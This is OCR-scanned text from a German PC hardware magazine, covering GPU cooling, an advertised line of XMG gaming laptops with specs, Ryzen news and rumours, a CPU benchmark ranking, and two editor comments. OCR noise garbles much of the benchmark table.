einen Mindestdurchmesser von 6 mm, auf leis- 
tungsstarken (= heißen) Grafikkarten kommen jedoch 
auch Versionen mit 8 oder gar 10 mm Durchmesser 
zum Einsatz. Im Falle unseres Beispiels sind sechs 
Rohre installiert. 


Die Heatpipes leiten die Wärme von den Hitzequellen 
weg an die zahlreichen Kühllamellen des Kühler- 
korpus (2). Dieser besteht fast immer aus Aluminium 
und hat die Aufgabe, die Wärme an die Umgebungs- 
luft abzugeben. Das funktioniert am schnellsten durch 
Luftbewegung, weshalb Gaming-Grafikkarten in der 
Regel über zwei, manchmal über drei, Lüfter verfügen. 
Gigabytes Stapeltechnik in unserem Beispiel erlaubt 
es, sogar drei Axiallüfter mit je 100 mm Durchmesser 
(3) zu installieren — damit ist ein sehr hoher Luft- 
durchsatz schon bei geringen (= leisen) Drehzahlen 
möglich. Eine Rückplatte aus Kupfer komplettiert in 
unserem Beispiel den Wärmeaustausch. 
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ANZEIGE 


PUGH-Laptops 


VON SCHENKER TECHNOLOGIES 


chenker Technologies mit der Marke 
uc bietet optimale Konfigurations- 
móglichkeiten, wenn es darum geht, einen 
Gaming-Laptop zusammenzustellen. Die 
XMG-PCGH-Laptops gibt es zum tollen Vor- 
teilspreis. Wenn Ihnen die Größe der SSD, der 
Festplatte oder des Arbeitsspeichers nicht 
zusagt, können Sie diese Komponenten ein- 
fach über den Laptop-Konfigurator ändern. 
Inzwischen stehen vier PCGH-Laptops zur 
Auswahl, die wir Ihnen hier kurz vorstellen. 


XMG U727 PCGH-Edition 

Wenn Sie ein Desktop-Replacement mit 
kompromissloser Leistung suchen, liegen 
Sie beim U727 PCGH-Edition genau rich- 
tig. Als Prozessor werkelt hier ein potenter 
Intel Core i7-7700 mit bis zu 4,2 GHz Taktra- 


te. Über den Konfigurator sind auch andere 
CPUs auswählbar und selbst geköpfte CPUs 
werden angeboten. Als Besonderheit wird 
bei der PCGH-Edition die Thermal Grizzly 
Kryonaut Wármeleitpaste standardmäßig 
aufgetragen. Spielerherzen schlagen sicher- 
lich dank der Geforce GTX 1080 höher. Egal 
ob Sie also den 17,3-Zoll-Full-HD-Monitor 
mit G-Sync-Unterstützung verwenden oder 
ein externes Display mit einer noch hóheren 
Auflósung anschlieBen, an der Grafikleistung 
sollte es nicht mangeln. 


XMG A707 PCGH-Edition 

Das А707 ist das aktuell günstigste PCGH- 
Gerát und macht vor allem dank des Dis- 
playdeckels aus Metall einen sehr edlen 


Eindruck. Im Inneren arbeiten Intels Vier- 


kernprozessor Core i5-7300HQ sowie eine 
Geforce GTX 1050 Ti mit 4 GByte GDDR5- 
Speicher. Ausgestattet ist der Laptop mit 
einer 250-GB-SSD (Samsung 850 Evo) und 
einer 1.000-GB-HDD sowie 8 GByte DDR4- 
RAM. Gamer dürften auBerdem die Multi- 
color Gaming-Tastatur mit drei Zonen zu 


schátzen wissen. 


XMG P507 und P707 PCGH-Edition 
Das XMG P507 PCGH-Edition bekommt ein 


Update spendiert und verfügt nun auch über 


einen Kaby-Lake-Prozessor (Intel Core i7- 
7700HQ). Außerdem unterstützt das Display 
ab sofort G-Sync. Neu ist auch die Samsung 
960 Evo NVMe-SSD mit 250 GByte in der 
Startkonfiguration. Beim neuen P707 setzen 
wir nun ebenfalls auf die 960-Evo-SSD. (dw) 


* Preiserfassung und Produktdaten vom 22.03.2017, unter www.pcgh.de/mysn finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben Windows auch 


sàmtliche Treiber installiert (PC ist sofort einsatzbereit). **Verringerte Leistung im Akkubetrieb 


Die Multicolor Gaming-Tastatur mit drei konfigurierba- 
ren Zonen dürfte vor allem für Spieler interessant sein. 


Der Laptop kann über den Konfigurator mit 3 x M.2- 
NVMe-SSDs und 2 x 2.5"-HDD/SSDs bestückt werden. 


12 Monate Schnellreparatur 
standardmäßig (statt 6 Monate) 


Gutschein für das PCGH-Online-Abo 


(365-Tage-Zugang) 


Ausgestattet ist der Laptop mit Stereo-Lautspre- 
chern und einem Subwoofer. 


Hardware 


Offizielles PCGH-Produkt 


Produkt 


Hersteller/Bezugsquelle 


XMG A707 
PCGH-Edition 
Schenker (www.pcgh.de/xmg3) 


XMG P507 
PCGH-Edition V2 
Schenker (www.pcgh.de/xmg1) 


XMG P707 


Schenker (www.pcgh.de/xmg2) 


XMG 0727 
PCGH-E 
Schenker (www.pcgh.de/xmg4) 


Erweiterte Informationen www.pcgh.de/a707 www.pcgh.de/p507 www.pcgh.de/p707 www.pcgh.de/u727 
Tem 
Prozessor Intel Core i5-7300HQ Intel Core i7-7700HQ Intel Core i7-7700HQ Intel Core i7-7700 

(2,5 bis 3,5 GHz, 4 Kerne/4 Threads) (2,8 bis 3,8 GHz, 4 Kerne/8 Threads) (2,8 bis 3,8 GHz, 4 Kerne/8 Threads) (8,6 bis 4,2 GHz, 4 Kerne/8 Threads) 
Grafikeinheit Nvidia Geforce GTX 1050 Ti (4 GB) Nvidia Geforce GTX 1060 (6 GB) Nvidia Geforce GTX 1070 (8 GB) Nvidia Geforce GTX 1080 (8 GB) 
LCD 17,3 Zoll Full HD Non-Glare IPS 15,6 Zoll Full HD Non-Glare IPS 17,3 Zoll Full HD Non-Glare IPS 17,3 Zoll Full HD Non-Glare IPS 


(1.920 x 1.080 Pixel) 


(1.920 x 1.080 Pixel, G-Sync) 


(1.920 x 1.080 Pixel, G-Sync) 


(1.920 x 1.080 Pixel, G-Sync) 


SSD-Laufwerk (M.2) 


250 GByte (Samsung 850 Evo, M.2) 


250 GByte (Samsung 960 Evo, NVMe) 


500 GByte (Samsung 960 Evo, NVMe) 


500 GByte (Samsung 960 Evo, NVMe) 


HDD-Laufwerk 


1.000 GByte (Seagate, 5.400 U/min) 


1.000 GByte (Seagate, 5.400 U/min) 


2.000 GByte (Seagate, 5.400 U/min) 


2.000 GByte (Seagate, 5.400 U/min) 


Optisches Laufwerk 


Speicher 


8 GB DDR4-2400 (Ballistix) 


16 GB DDR4-2400 (Ballistix) 


16 GB DDR4-2400 (Ballistix) 


16 GB DDR4-2400 (Ballistix) 


Akku/Gewicht 


60 Wattstunden/2,85 kg 


60 Wattstunden/2,92 kg 


60 Wattstunden/3,36 kg 


89 Wattstunden/4,8 kg 


Kommunikation 


GBit-Lan (RJ-45), WLAN 802.11ac, Bluetooth 
4.2, 6-in-1-Kartenleser, 2.0 MP-Webcam, 


GBit-Lan (RJ-45), WLAN 802.1 1ac, Bluetooth 
4.2, 6-in-1-Kartenleser, HD-Webcam, 


GBit-Lan (RJ-45), WLAN 802.11ac, Bluetooth 
4.2, 6-in-1-Kartenleser, HD-Webcam, 


2 x GBit-Lan (RJ-45), WLAN 802.11ac, 
Bluetooth 4.2, 6-in-1-Kartenleser, 2.0 MP- 


Fingerprin' Fingerprint Fingerprint Webcam, Fingerprint 
Sound Sound Blaster Cinema 3 Sound Blaster X-Fi 5 Sound Blaster X-Fi 5 Sound Blaster X-Fi 5 
Anschlüsse 2 x USB 3.0, 1 x USB 3.1 (Тур С), 1x USB. | 3x USB 3.0, 2 x USB 3.1 (Typ С), HDMI, 2 x | 3x USB 3.0, 2 x USB 3.1 (Typ C), HDMI, 2 x |5 x USB 3.0, 2 x USB 3.1/Thunderbolt (Тур С), 


2.0, HDMI, 2 x Mini-Displayport, 2 x Klinke (1 
x Kopfhörer, 1 x Mikrofon in) 


Mini-Displayport, 3 x Klinke (1 x Kopfhürer, 
1 x Mikrofon in, 1 x S/PDIF) 


Mini-Displayport, 3 x Klinke (1 x Kopfhürer, 
1 x Mikrofon in, 1 x S/PDIF) 


HDMI, 2 x Mini-Displayport, 4 x Klinke (u. a. 1 
x Kopfhörer+S/PDIF, 1 x Mikrofon in) 


Abmessungen (B x T x H) 418,5 x 284 x 27,4 mm 385 x 271 x 25 mm 417 x 287 x 30 mm 428 x 308 x 47,2 mm 
Lautstárke 2D (0,5 m) 0,4 Sone/23 dB(A) 0,4 Sone/24 dB(A) 0,5 Sone/25 dB(A) 1,0 Sone/30 dB(A) 
Lautstárke 3D (0,5 m) 4,1 Sone/45 dB(A) 2,2 Sone/37 dB(A) 4,4 Sone/46 dB(A) 4,6 Sone/46 dB(A) 
Leistungsaufnahme 2D/3D 23 Watt/108 Watt 20 Watt/107 Watt 26 Watt/153 Watt 38 Watt/279 Watt 

3D Mark (Fire Strike) 1.816 (U), 3.408 (E), 6.250 (S) 2.646 (U), 5.091 (E), 9.453 (S) 4.029 (U), 7.344 (E), 12.713 (S) 5.152 (U), 9.567 (E), 17.064 (S) 
Crysis 3/The Witcher 3 34 Fps/25 Fps n. v./37 Fps n. v./58 Fps 86 Fps/77 Fps 


Stalker: Call of Pripyat 


88 Fps (Sun Shafts, Ultra, 4x AA) 


122 Fps (Sun Shafts, Ultra, 4x AA) 


142 Fps (Sun Shafts, Ultra, 4x AA) 


200 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


98 Fps (1.920 x 1.080) 


155 Fps (1.920 x 1.080) 


223 Fps (1.920 x 1.080) 


278 Fps (1.920 x 1.080) 


Cinebench R11.5 x64 (CPU) 5,91 Punkte 8,21 Punkte 8,21 Punkte 9,49 Punkte 
Akkulaufzeit 2D 364 Minuten (6:04 Stunden) 332 Minuten (5:32 Stunden) 280 Minuten (4:40 Stunden) 215 Minuten (3:35 Stunden) 
PREIS 
Ti dM €1.179,- €1.679,- €2.379,- €3.279,- 
PREIS €1.299,- €1.799,- €2.499,- €3.399,- 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


© i5-Quadcore-CPU 
© Displaydeckel aus Metall 
© Betriebsgeräusch unter 3D 


© 3D-Performance der GTX 1060 
© Lange Akkulaufzeit 
© Hohes Gewicht 


© Sehr schnelle GTX 1070 und G-Sync 
© Neuer i7-7700HQ, 512-GB-M.2-SSD 
© Hörbare Lüfter im 3D-Betrieb 


© Desktop-CPU, GTX 1080 und G-Sync 
© 2 x Thunderbolt 3/USB 3.1 (Typ C) 
© Hohes Gewicht 


Prozessoren 


Torsten Vogel 
Fachbereich Plattformen 
E-Mail: tv@pcgh.de 


Kommentar 


Fan(-atismus): Fake-News für Jedermann 


Optimismus ist toll. Egal, wie schlecht ein Pro- 
dukt oder ein Bundesligaergebnis ausfällt: Fans 
blenden alle Schattenseiten kreativ aus und 
extrapolieren die kleinsten Lichtblicke zu einer 
glanzvollen Zukunft. Jedenfalls die Anfänger. 


Wahre Experten der Vergötterung sind natürlich 
einen großen Schritt weiter, wie AMDs AM4 
kürzlich wieder bewies. Nicht, dass Ryzen zu 
wenige Glanzpunkte bieten würde — ganz im 
Gegenteil. Aber ein echter Fanatiker kehrt so- 
gar den Hals-über-Kopf-Launch ins Gegenteil. 
Beispiel? „Wenn die Mainboard-Hersteller sich 
nicht auch selbst kritisieren, kann man davon 
ausgehen, dass weniger als die Hälfte des Ge- 
sagten stimmt und sie von eigenen Planungs- 
fehlern ablenken wollen.“ Kritik ist gelogen, 
weil sie kritisiert — das hat präsidiales Niveau. 


Solch alternative Fakten wären eine amüsante 
Randnotiz, würden sie über Erfahrungsberichte 
nicht auch Kaufentscheidungen beeinflussen. 
So empfiehlt ein Anwender beispielsweise sein 
Ryzen-7-1700-System, weil sich dieses in kei- 
nem Spiel langsamer anfühlt als der vorherige 
Core-i7-Rechner. Bei der gewählten Übertak- 
tung müsste dies sogar ohne GPU-Limit (hier 
klar vorhanden) stimmen und zusätzlich bietet 
der Ryzen reichlich Multi-Thread-Potenzial. 
Aber letzteres spielt für die Argumentation des 
AMD-Fans gar keine Rolle — Hauptsache, das 
neu gekaufte System ist nicht langsamer. Dazu 
ein Angebot: Wer als nächstes 700 Euro so in 
Hardware investieren möchte, dass sich das Er- 
gebnis „genauso schnell” anfühlt, dem könnte 
ich dafür einen Thunderbird 1400 (AMD), eine 
Riva TNT 2 M64 (Nvidia), einen Pentium III Kat- 
mai (Intel), eine originale ATI Radeon oder eine 
Sockel-7-Platine mit MGA-Onboard-Grafik (Ma- 
trox!) verkaufen. Die legt man einfach ins alte 
System und fühlt garantiert keinen Unterschied. 
Ernstgemeinte Anfragen bitte an tv@pcgh.de. 
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Ryzen 5 ab 11. April 


Neben den Ryzen-7-Modellen für mehr als 
300 Euro bietet AMD ab April auch den Ryzen 5 an. 
Er soll ab 169 US-Dollar an den Start gehen. 


m Ryzen-Special haben wir die Eckdaten der 

neuen R5-CPUs bereits aufgeführt und zwei 
der Neulinge mithilfe eines Ryzen 7 simuliert. 
Index-Benchmarks, Energieeffizienz und ergo 
Endnoten fehlen dort jedoch - da speziell letz- 
teres dank des ausgefeilten Power-Managements 
der Ryzen-CPUs nur mit realen Mustern sinnvoll 
zu erfassen ist. 


Für den Ryzen 5 1600X und den 1500X haben 
wir jedoch die Standard-Parcours-Benchmarks 
durchgeführt. Kommen keine weiteren Überra- 
schungen hinzu, landet mit dem R5-1600X der 
größere der beiden neuen Sechskerner insge- 
samt fast auf dem Niveau des achtkernigen R7- 
1700 - in Spielen ist er teils aufgrund des hó- 
heren Taktes etwas schneller, in Anwendungen 
meist um ein rundes Drittel hinten dran. Der 
R5-1500X ist hingegen ein Quadcore - alle ange- 
kündigten R5-CPUs sind mit SMT ausgestattet - 
der knapp über dem Niveau des 200 Euro teuren 
Intel Core i5-7500 anzusiedeln ist. (cs) 


Vollgas bei AMD: Zen 


Die Fernost-Gerüchtekóche vermelden den Nach- 
folger der gerade gestarteten Ryzen-Prozessoren 
schon für das náchste Jahr. 


MDs gerade erst auf den Markt gekomme- 

en Ryzen-Prozessoren mit einem Chip 
codenamens ,Summit Ridge“ sind nur die erste 
Ausbaustufe, wie AMD-Technikchef Papermaster 
auf dem Launch-Event der neuen Architektur 
kundtat. Zen 2 soll dabei den eingeschlagenen 


www.pcgameshardware.de/cpu 


123 LANES 


Naples x 0,5: HEDT 


Die Gerüchteküche brodelt: Nach erschwinglichen 
Achtkernern soll AMD eine High-End-Desktop- 
Plattform mit 16 Kernen planen. 


aples heifst der Server-Chip, welchen AMD 

kurz nach dem Ryzen-Launch vorgestellt 
hat. Dieser verfügt schon heute über bis zu 32 
Kerne als Multi-Chip-Modul, in dem Summit- 
Ridge-Chips zusammenarbeiten. Sollten die Ge- 
rüchte stimmen, würde AMD damit wohl nicht 
nur Intels 10-Kern-CPU, dem Core i7-6950X, 
preislich auf die Pelle rücken und dank vierka- 
naliger Speicherschnittstelle auch auf dem RAM- 
Parkett Paroli bieten. Auch bei der Kernzahl 
würde Intel dann die zweite Geige spielen. (cs) 


2 schon 2018? 


Weg forsetzen und nochmals hóhere Pro-MHz- 
Leistung bringen. Ein 50-Prozent-Sprung wie von 
Bulldozer auf Zen (1) ist indes nicht zu erwarten. 
Allerdings soll Pinnacle Ridge, so der Codename 
der Summit-Ridge-Nachfolger, bereits für 2018 
auf dem Plan stehen - einige Optimisten zwit- 
scherten sogar etwas von Ende 2017. Pinnacle 
Ridge sollte bereits über ein Zen-2-Innenleben 
verfügen, beibehalten werden soll indes die Kom- 
patibilitát zum noch frischen Sockel AMÁ. (cs) 


ROADMAP LEADERSHIP 


A Multi-Year Journey 


CPU Core Roadmap 


— “Zen ar 


| “7en” 


GPU Core Roadmap 


www.pcgameshardware.de 


Startseite | PROZESSOREN 


PCGH-Index: Top 40 CPUs 


BESSER $ | Normierte Leistung 


Wi Gesamtindex Im Spieleindex Im Anwendungsindex 


Intel Core 17-6950Х | awa s Intel Core 15-7500 | Es: 
3,0 GHz - 10c/20t- РІМ 8,7 % | EEA 100% 3,4 GHz — Ac/dt – PLV 42,8 % 

- 22:37 (3:193 F1:130  SC2:40 К8:24097 72:120 BLD:117 x264:61 S A22:29 oa np 50:44 FCB:11455 72:275 BLD:361 264139 
Preis: Ca. 1.750 Euro ACS:137 DAIF138 ЕС4:90 — TW3:135 — 3DMP:21.430185:90  CB15: 1.805 yCr: 70 Preis: Ca. 200 Euro ACS:94 ОА: 103 FCA:112  TW3:89 — 3DMP:8.101 1А5: 142 CB15:610 yCr:143 
Intel Core i7-6900K | En _ Intel Core 17-3770К | И ШЕЕ o, 

3,2 GHz - 8c/16t PLV 12,9 9 3,5 GHz - 40/8 - PLV 23,3 % 
A22:36 (3:177 F1:124 50:38 FCB:24761 721% BLD:143 264:72 EL A229 (3:10) 16 50:7 — FCB:13908 72:217 BLD:316 x264:163 
Preis: Ca. 1.100 Euro ACS:136 DAL 136 FC4:89 — TW3:135 ЗОМР: 19.232 185:93 CB15:1.483yCr: 75 Preis: Ca. 370 Euro ACS:100 DAI:103 FC4:92 — TW3:95 — 3DMP:9.926 LR5:154 CB15:679 yCr:292 
Intel Core 17-5960Х ` | aww ETIN Intel Core 17-990Х | awas 6 
3,0 GHz 8c/16t-PIV 11,6 % 346 GHz- 6c/12t- PLV 9,4% | Йй 52,5% 
A22:28 (3:164 F1:115 On _ FCB:23.164 72:135 BLD:161 x264:81 A22:28 (3:119 na wäi — FCB:18.987 72:232 BLD:243 x264:139 
Preis: Ca. 1.110 Euro ACS:127 DAI:130 FC4:84 — TW3:124 ЗОМР: 16.203 LR5: 108 CB15: 1.329 yCr: 81 Preis: Ca. 940 Euro ACS:95 DAI:92  FCA72 TW3:82 ` 3DMP:12.349 LR5:157 CB15:822 yCr: 322 
Intel Core i7-7700K aw +; Intel Core i5-6600K | BEEN > 
4,2 GHz — Ac/8t — PLV 33,9 % 3,5 GHz- 44t- РІМ 343% | EANA 43,7% 
A22:40 — C3:144 na Op — FCB:17733 7:184 BLD:205 264:94 A22:25 (388 159 — SC2:40 FCB:11479 72:281 BLD:360 x264:139 
Preis: Ca. 360 Euro ACS:131 DAI:138 FC4:131 TW3:126 ЗОМР: 14.240185:118 CB15:974 yCr:98 Preis: Ca. 240 Euro ACS:89 — DAE97 FC4:106 TW3:84 ЗОМР: 8.106 LR5:139 CB15:611 yCr: 142 
NEI AMD Ryzen 7 1800Х |: Intel Core i5-7400 | En 5% 
3,6 GHz — Beet — PLV 23,6 % 3,0 GHz - 4/41 – PLV 44,5 % 

- Ain (3:10 Р1:93 50:33 FCB:23443 72184 BLD:140 x264:64 - A22:26 (387 np — SC2:38 СВ:10.594 72:286 BLD:392 x264:150 
Preis: Ca. 535 Euro АС5:110 А112 FC4:77 TW3:110 3DMP: 19.312 LR5: 105 CB15: 1.639 yCr: 109 Preis: Ca. 180 Euro ACS:91 — DAE97 ЕС4:107  TW3:84 — 3DMP:7.431 LR5:152 CB15:552 yCr:154 
Intel Core 17-6800К | НЕ 0 Intel Core i5-4690K | EEE s: 

3,4 бнг – 6/12: РІУ 28,2 % | EE 3,5 бно – 4041 РІУ 31,5 % | CA 41,0% 
A22:3A (3:14  Fi:104 — SC2:34 FCB:19695 72170 BLD:186 x264:97 AQ2:31 (3390 na — 50:36 FCB:12.033 72:288 BLD:368 x264:163 
Preis: Ca. 425 Euro ACS:130  DAE131 FC4:93 TW3:118 — 3DMP:15.6441R5:111 CB15: 1.114yCr: 108 Preis: Ca. 250 Euro ACS:85 DAF85 FC4:98 — TW3:80 3DMP:7482 LR5:150 CB15:565 yCr:168 
Intel Core 17-5930 | awa an J-JJ Intel Core i5-6500 | EEE 2 
3,5 GHz — 6c/12t — РІМ 18,9 % 3,4 бнг – 4/41 - РІМ 37,7% | C 40,4% 
A22:33 (3:154 nimm On FCB:19.845 72:165 BLD:198 x264:102 - Ai (3:83 na 50:35 КОВ:10519 72:293 BLD:394 dëi 
Preis: Са. 620 Euro ACS:127 DAI:130 FC4:94 — TW3:119 — 3DMP: 13.942 LR5: 116 CB15:1.086yCr: 107 Preis: Ca. 205 Euro ACS:89  DAI:92 ЕС4:96 Т\З:81 — 3DMP:7426 LR5:152 CB15:561 yCr:156 
Intel Core 17-5775С | awa 7% Intel Core i5-4670K |  5..:% 
3,3 GHz - 4c/8t — PLV 27,8 % 3,2 бно – 4/41 - РІМ 32,1% | Йй 39,9% 
А22: 40 (3:19 nä 52:47 FCB:14590 72:195 BLD:257 5264:125 A22:31 Om na sm СВ:11.739 72:300 BLD:382 x264:166 
Preis: Са. 400 Euro АС: 127 DAI:139 ЕСД: 128  TW3:131  3DMP: 12.278 185: 133 СВ15: 787 yCr:139 Preis: Са. 240 Euro АСЅ:84 DAF83 FC4:96 — TW3:80 ЗОМР: 7.280 185: 153 СВ15:551 yCr173 
Intel Core 17-6700К | ВЕНЕ 72i AMD FX-9590 N ::- 
4,0 GHz — 4c8t— PLV 33,8 % 4,7 GHz - 4m/8t— РІМ 45,3% | Ж 

- A22:37 (3137 na Om КВ:16191 72:195 BLD:222 x264: 102 - Ai (3% np 52:20 FCB:15.018 72:208 BLD:415 264138 

Preis: Ca. 335 Euro ACS:120 DAI:133 FC4:124 TW3:119 ` 3DMP: 13.028 R5: 127 CB15:890 yCr:106 Preis: Ca. 175 Euro ACS:81 Däi ЕС4:79 TW3:81 — 3DMP:8407 LR5:146 CB15:727 yCr:256 
[NEU irr] Ryzen 7 1700Х | EEUU Eg: | Intel Core i7-2600K | EE 5 
3,4 GHz - Se — РІМ 30,6 96 3,4 GHz — 4081 — PLV 26,2 % 

- A22:31 C3:146 Dn 92:29 FCB:21.955 72:191 BLD:149 ›26467 - 42:27 (3392 nam 50:20 СВ:1З.134 72:253 BLD:351 x264:190 
Preis: Ca. 395 Euro ACS:106 DAL 109 FC4:75 — TW3:105 ` 3DMP: 18.246 LR5: 111 CB15: 1.557 yCr: 113 Preis: Ca. 290 Euro ACS:85 — DALS9  FCA83 — TW3:84 — 3DMP:8.971 [85:175 CB15:619 yCr.317 
Intel Core i7-5820K | aw  /»] Intel Core 13-7350К | awwal >>: 

3,3 GHz- 6c12t - PLV 27,8 % | ЕЙ 4,2 6н; -2044-Р1у 38,5% | PPI w IF! RSPé@ó@éII 

- A22:32 (3:149 F1:102 SC2:32 — FCB:18880 72:168 BLD:203 ›264:104 - A22:27 Om na 50:48 FCB:8.724 72:332 BLD:417 264191 
Preis: Ca. 410 Euro ACS:122 DAI:129 FC4:92 — TW3:115 — 3DMP: 13.589 LR5: 119 CB15: 1.022 yCr: 110 Preis: Ca. 190 Euro ACS:81 Dan ЕС4:108 TW3:78 3DMP:7.238 LR5:196 CB15:462 yCr: 195 
Intel Core 17-4960 | awa Intel Core і5-3570К | ME >: 

3,6 GHz — 6c/12t — PLV 9,6 % 3,4 GHz – 4041 — PIV 27,3 % 
- A22:31 (3137 1:102 wi — FCB:19.953 72:159 BLD:219 x264:112 A22:28 3:80 na si СВ:10.891 72:285 BLD:431 x264:199 
Preis: Ca. 1.140 Euro ACS:120 DAI:122 FC4:84 TW3:114 ` 3DMP: 13.914 LR5: 114 CB15: 1.000 yCr: 207 Preis: Ca. 265 Euro ACS:82 — DAI86  FCA:97 TW3:76  3DMP:6.953 LR5:159 СВ15:524 yCr:348 
[NEU In Ryzen 7 1700 üw un, 3 — AMD FX-8370 wÑ 
3,0 GHz - 8c/16t — PLV 32,9 % 4,0 GHz — 4m/8t— PLV 45,7 % 
A22:29 (3137 nm SC2:26 — FCB:20.633 72:203 BLD:161 >264:73 A22:23 (3:8 na 52:14 FCB:13423 72:219 BLD:465 264154 
Preis: Ca. 345 Euro АС$:104 DAI:104 FCA:70 — TW3:102 ` 3DMP:16.7981R5:117 CB15: 1.426yCr: 122 Preis: Ca. 160 Euro АС5:77 Dip ЕС4:75 TW3:77  3DMP:7.842 LR5:157 CB15:649 уСт:269 
Intel Core 17-3960Х | aww 22. AMD FX-8350 wa 
3,3 GHz — 6c/12t- PLV 10,6 % 4,0 GHz - 4mi8t- PIV 55,8% | e 

- A (3131 nm 90:25 КВ:19757 72:163 BLD:235 x264:123 - A22:22 CX:88 na 52:14 FCB:13024 72:220 BLD:466 x264: 154 
Preis: Ca. 1.000 Euro ACS:118 DATI FC4:83 — TW3:112 — 3DMP:13.3571R5:129 CB15:955 yCr:215 Preis: Ca. 130 Euro ACS:76 — DAE76 КО&74 — TW3:76 3DMP:7Z844 LR5:158 CB15:641 уСт:270 
intel Core i7-4790K | —  — rn, Intel Core 13-6100 | ЕНЕ «7» 

4,0 GHz – 4ç/8t — РІМ 28,8 % 3,7 GHz- 2c/4t- PIV 55,6% | EEUU 

= A22:34 С3:129 nn $0:44 FCB:16360 72:197 BLD:231 x264:122 = А22:23 (3:0 Pm — SC2:40 72384 BLD:473 х264:216 
Preis: Ca. 360 Euro АС5:110 — DAETI3 FC4:113 TW3:105 3DMP:11.241R5:132 CB15:857 yCr:128 Preis: Ca. 115 Euro АС5:71 Dä ЕС4:93 — TW3:68 ЗМР: 6.425 LR5:230 CB15:405 yCr.221 
Intel Xeon ЕЗ-1230 у5 "BE 6e AMD FX-8300 ww 

3,4 GHz — 4c/8t — PLV 36,3 % 3,3 GHz – 4m/8t— PLV 64,3 % 

= A22:31 (3:118 ni 92:39 FCB:14518 72:221 BLD:248 ›264:114 : A221 (34 na wu КВ:11035 72:237 BLD:560 x264:183 
Preis: Ca. 275 Euro ACS:109 рА:115 FC4:112 TW3:105 ` 3DMP:11.618 LR5:140 CB15:799 yCr:117 Preis: Ca. 100 Euro Aen Des e — TW3:71 — 3DMP:6.638 LR5:177 CB15:530 yCr:327 
Intel Core i7-4770K | awas 5 Intel Pentium G4560 | EEE en, 

3,5 GHz - Ad8t - PLV 27% 3,5 GHz- 2с/41— РІМ 100 | EAU 

- A (3:119 F1:69 50:41 СВ:15.223 72211 BLD:247 x264:129 : A22:24 (36 nm sn — FCB:7301 72391 BLD:510 x264: 250 
Preis: Ca. 360 Euro ACS:105  DAI:107 FC4:108  TW3:101 ` 3DMP: 11.083 LR5: 142 CB15:797 yCr:134 Preis: Ca. 60 Euro Aen Die FC4:87 — TW3:65 — 3DMP:6.022 LR5:235 CB15:382 yCr622 
Intel Core 15-7600 | aaoo, OOO C O O Intel Core i5-2500K | Н: 

3,8 GHz - 4c/At — PLV 38,6 % 33 GHz - AdAt — PIV 32,5% 

- A22:30 (3:102 F1:68 — SC2:5O — КВ:12716 72:256 BLD:332 x264:126 = 42:5 On no sm КВ:10131 72:351 BLD:493 x264:237 
Preis: Ca. 240 Euro ACS:100  DAI:111 FC4:117 TW3:95 — 3DMP:9.013 LR5:129 CB15:676 yCr: 130 Preis: Ca. 190 Euro ACS70 Dm In TW3:63  3DMP:6.192 LR5:186 CB15:462 yCr:393 
Intel Core i5-5675C | aww °: AMD FX-8320E ws 
3,1 GHz - Act — PLV 30 % 3,2 GHz – 4m/8t — PLV 52,3 % 

- 22:38 (39% np 50:44 FCB:11377 72279 BLD:387 x264: 160 = Ai Om na wn КВ:10716 72:238 BLD:579 x264:188 
Preis: Ca. 295 Euro ACS:99 ОА:108 FC4:125  TW3:92 — 3DMP:8.339 LR5:140 CB15:567 yCr:176 Preis: Ca. 120 Euro ACS:69 De FC4:64 — TW3:69 — 3DMP:6.411 LR5:179 CB15:517 yCr:337 
Intel Core i7-4820K | aww AMD FX-6350 ww 

3,7 GHz - 4c/8t — PLV 24,4 % 3,9 GHz - 3m/6t - РІМ 57,9% | ЕЙ 
22:30 (3:102 ng 50:25 FCB:13.903 72:227 BLD:318 ›264:167 - A2:22 on nu wm — FCB:10.164 77:268 BLD:630 — x264:209 
Preis: Ca. 360 Euro ACS:105 DAI:109 FC4:92 — TW3:100 ` 3DMP:9.892 LR5:147 CB15:664 yCr: 282 Preis: Ca. 105 Euro ACS:48 — DAE49 FC4:61 ТАЗ:43  3DMP:4.516 LR5:258 CB15:319 yCr:531 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Durchschnitts-Fps in 1.280 x 720 (max. Details außer Post-Processing, Ambient Occlusion, 


AA und AF), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist besser) 


System: 8 GiByte je Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MHz 
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Notebooks 


Boards, RAM, Eingabegeräte, Festplatten, SSDs, Netzt 


Frank Stöwer 
Fachbereich Peripherie 
E-Mail: fs@pcgh.de 


Kommentar 


Nintendos Switch Pro Controller läuft am PC. 
Ist der für die Plattform überhaupt nützlich? 


Nachrichten zur Nintendo Switch gab es unend- 
lich viele und auch als die Switch schon verkauft 
wurde, hörten die Meldungen zu Nintendos Kon- 
solen-Coup nicht auf. Eine News ließ auch mich als 
Gamepad-Tester aufhorchen, denn Switch-Spie- 
ler meldeten, man könne den Pro-Controller via 
Bluetooth am PC nutzen. Obwohl ich an meinem 
Spiele-Mini den MS Xbox One Controller einsetze 
und mir nicht erklären kann, warum man dem 
Hype folgen und ein Gerät nutzen soll, welches für 
die Plattform PC nicht entwickelt wurde, machte 
ich den Selbstversuch. Der scheiterte zuerst da- 
ran, dass mir ein Bluetooth-Dongle fehlte — das 
Micro-USB-Kabel des Pro Controlers dient nur zum 
Laden. Nach einer Investition von rund 10 Euro 
wurde mir das gute Stück dann als „Standard Con- 
troller” unter „Geräte“ angezeigt. Das Eingabege- 
rät lässt sich sogar kalibrieren und die Funktion der 
Knöpfe und Achsen ist überprüfbar. Mit dem Pro 
Controller allerdings ein PC-Spiel zu steuern klappt 
noch lange nicht. Im nächste Schritt benötigt man 
eine Mapping Software wie JoyToKey, mit der man 
mühselig alle Achsen belegt und jedem Knopf eine 
Tastenfunktion zuteilt — natürlich nachdem man 
sich über die Tastenbelegung des Spiels in dessen 
Einstellungen informiert hat. Eine Erfolgsgarantie 
